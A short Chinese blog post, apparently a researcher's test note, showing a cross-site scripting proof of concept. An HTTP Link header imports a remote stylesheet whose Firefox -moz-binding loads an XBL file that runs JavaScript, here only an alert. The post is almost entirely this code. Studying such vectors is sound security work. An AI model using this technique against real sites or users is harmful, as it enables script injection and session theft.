HTTP HEADER IMPORT XSS

最新推荐文章于 2022-05-17 18:23:39 发布

kj021320

最新推荐文章于 2022-05-17 18:23:39 发布

阅读量3.3k

点赞数

分类专栏： ASP/AJAX/SCRIPT 文章标签： header import stylesheet constructor binding html

本文链接：https://blog.csdn.net/kj021320/article/details/2828742

版权

ASP/AJAX/SCRIPT 专栏收录该内容

9 篇文章 0 订阅

订阅专栏

测试了IE 不成功TMD~~~，FF可以！

import.jsp

<%
response.addHeader("Link", "<http://ip:8080/myweb/xss.css> ; REL=stylesheet") ;
%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE> xss </TITLE>
</HEAD>
<BODY></BODY>
</HTML>

xss.css

body{-moz-binding:url("http://ip:8080/myweb/1.xml#xss");}
body{background: yellow}

1.xml

<?xml version="1.0"?>
<bindings xmlns="http://www.mozilla.org/xbl" xmlns:html="http://www.w3.org/1999/xhtml">
<binding id="xss">
    <implementation>
      <constructor>
        alert("kj021320");
      </constructor>
    </implementation>
</binding>
</bindings>